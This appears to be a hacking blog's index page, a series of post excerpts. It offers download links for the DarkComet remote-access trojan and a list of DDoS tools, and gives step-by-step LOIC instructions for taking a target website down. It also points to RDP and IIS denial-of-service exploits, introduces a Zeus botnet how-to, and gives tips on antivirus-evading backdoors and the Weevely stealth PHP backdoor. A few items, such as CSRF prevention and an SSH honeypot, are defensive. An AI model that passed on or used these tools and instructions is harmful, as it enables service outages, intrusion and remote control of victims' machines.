DarkComet RAT Analyser and Link Download Of DarkComet 5.3.1

This download is the last version of DarkComet RAT 'cause DarkcoderSc (Jean-Pierre LESUEUR) announce he will end developing DarkComet RAT(you can get his announcement here.)

So this post is for who want to download the DarkComet RAT 5.3.1 (The last version that I can find)
http://cyber-store.net/downloads/DarkComet/DarkComet%20-%20v.5.3.1%20FWB.rar
http://199.91.152.33/waavkhu9i5hg/

Interesting exploit, Microsoft IIS 6 , 7.5 FTP Server Remote Denial Of Service

If you want to see the exploit code, please go to the Source.


# Exploit Title: Microsoft IIS 6 , 7.5 FTP Server Remote Denial Of Service (CPU exhaustion)[POC]
# Author: coolkaveh
# coolkaveh@rocketmail.com
# https://twitter.com/coolkaveh
# Vendor Homepage: http://www.microsoft.com
# Version: Microsoft IIS 6 , 7.5 FTP Server
# Tested on: windows server 2008 r2 , seven , with two core

HULK, Web Server DoS Tool

Introducing HULK (Http Unbearable Load King).1-twitter-dos-dataIn my line of work, I get to see tons of different nifty hacking tools, and traffic generation tools that are meant to either break and steal information off a system, or exhaust its resource pool, rendering the service dead and putting the system under a denial of service.For a while now, I have been playing with some of the more

Hack a Website with Denial Of Service Attack (DoS)

In this post I will be telling you how to hack a website using DoS (Denial of Service). It is tottally different from Website Defacement. It is a method to bring a website temprorely down or unavaiable which does  allow users  visiters to browser the website. To get a detailed explanition about DoS attacks read our post DENIAL OF SERVICE(DOS) ATTACK-EXPLAINED.
For this tutorial I will be using a famous DoS tool named LOIC (Low Orbit Ion Cannon) created and coded by Anonymous Hackers.

Download LOIC (Low Orbit Ion Cannon)

Step 1. Type the Target URL in the URL Box

Step 2. Click on LOCKON

Step 3. Change the threads to 9001 to getting the maximum success.

Step 4. Click the big button " IMMA FIRIN MAH LAZAR!"


[#] Tweak and Play around with the setting to learn more and got more effective results.

All posts that I got about Exploit RDP(MS12-020) in couple days ago.

1. Proof Of Concept Exploit in 15-03-2012

http://pastie.org/private/01qvw08ffwzulqgtt8fpbg
 


 2. Detail and Proofed Exploit DoS 

http://blog.binaryninjas.org/?p=58



3. Another Good Post :) And I think this is the best.
http://aluigi.org/adv/termdd_1-adv.txt

If you like my blog, Please Donate Me




One Dollar $1.00 Two Dollar $2.00 Three Dollar $3.00

DDoS Tool List From Anonymous

DDOS TOOLS LIST!

 

DDoSim (Linux) - Download => http://tinyurl.com/4xe3vjk

Loris - Download => http://ha.ckers.org/slowloris/

Apachekiller - Download =>
http://pastebin.com/9y9Atijn save as "whatever.pl" <-- More
Infohttp://thehackernews.com/2011/08/killapache-ddos-tool-half-of-internet.html

perl for windows => http://www.activestate.com/activeperl/downloads

pyloris => http://

CVE-2011-4107 PoC - phpMyAdmin Local File Inclusion via XXE injection

An interesting local file inclusion vulnerability has been
recently published. An XXE (XML eXternal Entity) injection attack, which
affects phpMyAdmin 3.4.x previous to 3.4.7.1 and 3.3.x previous to
3.3.10.5. - CVE-2011-4107


The issue is located in the
libraries\import\xml.php file, where the simplexml_load_string()
function is called without validating the existence of a

ddosim v0.2 (Application Layer DDOS Simulator)

Hack websites by using ddosim v0.2 (Application Layer DDOS Simulator)







DDOSIM simulates several zombie
hosts (having random IP addresses) which create full TCP connections to
the target server. After completing the connection, DDOSIM starts the
conversation with the listening application (e.g. HTTP server). Can be
used only in a laboratory environment to test the capacity

Slowhttptest - Application Layer DoS attack simulator

SlowHTTPTest is a highly configurable tool that simulates some Application Layer Denial of Service attacks.

It implements most common low-bandwidth Application Layer DoS attacks, such as slowloris, Slow HTTP POST, Slow Read attack (based on TCP persist timer exploit) by draining concurrent connections pool, as well as Apache Range Header attack by causing very significant memory and CPU usage

Howto: Create And Control ZEUS Bot.

So today we are going to learn another botnet, THE ZEUS BOT, yes you read it correct.
I don't think that you may not have heard about Zeus, it's one of the most dangerous bot in the world.
But why I'm showing it??

Because I want you to learn the most hazardous attacks of the world, not just hacking with some tools like
skr!p7 k!dd!3s....I want you to be a proffessional, not a hacker.

You can

Preventing CSRF With Ajax

You can try to apply the ValidateAntiForgeryTokenAttribute attribute to an action
method, but it will fail every time if you try to post JSON encoded data to the
action method. On one hand, the most secure action possible is one that rejects
every request. On the other hand, that’s a lousy user experience.


The problem lies in the fact that the under the hood, deep within the call
stack, the

Kippo The SSH Honeypot

Kippo is a medium interaction SSH honeypot designed to
log brute force attacks and, most importantly, the entire shell
interaction performed by the attacker.


How to run it?
Edit kippo.cfg to your liking and start the honeypot by running:
./start.sh
start.sh
is a simple shell script that runs Kippo in the background using
twistd. Detailed startup options can be given by running twistd

Create Backdoor With Evading Antivirus

If you want to see full detail, please go to the Source.



TIP #1: Do your reconnaissance. Know what antivirus software target
system personnel are running. While it is certainly possible to make a
backdoor that evades all antivirus software products, there is no need
to waste those cycles if your target is only running one product, a
significant likelihood. Narrow down your options by

WebCookiesSniffer - New cookies sniffer/viewer utility

WebCookiesSniffer
is a new packet sniffer utility that captures all web site cookies sent
between the web browser and the web server and displays them in a
simple cookies table. The upper pane of WebCookiesSniffer displays the
cookie string and the web site/host name that sent or received this
cookie. When selecting a cookie string in the upper pane,
WebCookiesSniffer parses the cookie

MSFConsole Prompt Fiddling

Metasploit has multiple ways of
creating logs:




cat ~/.msf4/logs/framework.log      
This log automatically logs all of the error data that is great for
trouble shooting when something is working, but doesn't record what you
are doing inside of msfconsole


msf> spool ~/myclient.log
The spool command is great for logging output

Weevely create and manage PHP trojan designed to be hardly detectable

This
software is a proof of concept of an unobtrusive PHP backdoor that
simulate a complete telnet-like connection, hidden datas in HTTP
referers and using a dynamic probe of system-like functions to bypass
PHP security restrictions.

Usage:




Select All Code:


root@bt:/weevely# ./main.py -h
 
Weevely 0.3 - Generate and manage stealth PHP backdoors.
Copyright (c) 2011-2012 Weevely

Gateway-finder [ Scapy Script find Gateway IP in the LAN]

Gateway-finder is a scapy script that will help you determine which of the systems on the local LAN has IP forwarding enabled and which can reach the Internet.

This can be useful during Internal pentests when you want to quickly check for unauthorised routes to the Internet (e.g. rogue wireless access points) or routes to other Internal LANs. It doesn't perform a hugely thorough check, but it

AnDOSid the DOS tool for Android

A new product released by SCOTT HERBERT for Android mobile phones,Its AnDOSid - the DOS tool for Android Phones. The rise of groups like Anonymous and LuzSec, as well as constant India / Pakistan cyberwar has raised the issue of cyber-security high(er) in the minds of web owners.

Pentesting tools exist to simulate such attacks and help website security people defend against them, however

The Rise of the Slow Denial of Service

Usually when you think about Denial of Service attacks nowadays, most people think up images of the Anonymous kids running their copy of LOIC in a hivemind or Russian Gangsters building a botnet to run an online protection racket.  Now there is a new-ish type of attack technique floating around which I believe will become more important over the next year or two: the slow http attacks. Refs

Low Orbit Ion Cannon[LOIC: DoS Tool] In Python Language.

If you're computer security guys, I think you should remember the LOIC(low orbit ion cannon) the tool that was used by Anonymous to DDoS some websites. Now it was create in the new language with python language by arno.aliess@gmail.com and team. So try it with your risk.
Low Orbit Ion Cannon for all platforms to test the resistance of the server or ddos servers :D Email me for help (arno.aliess@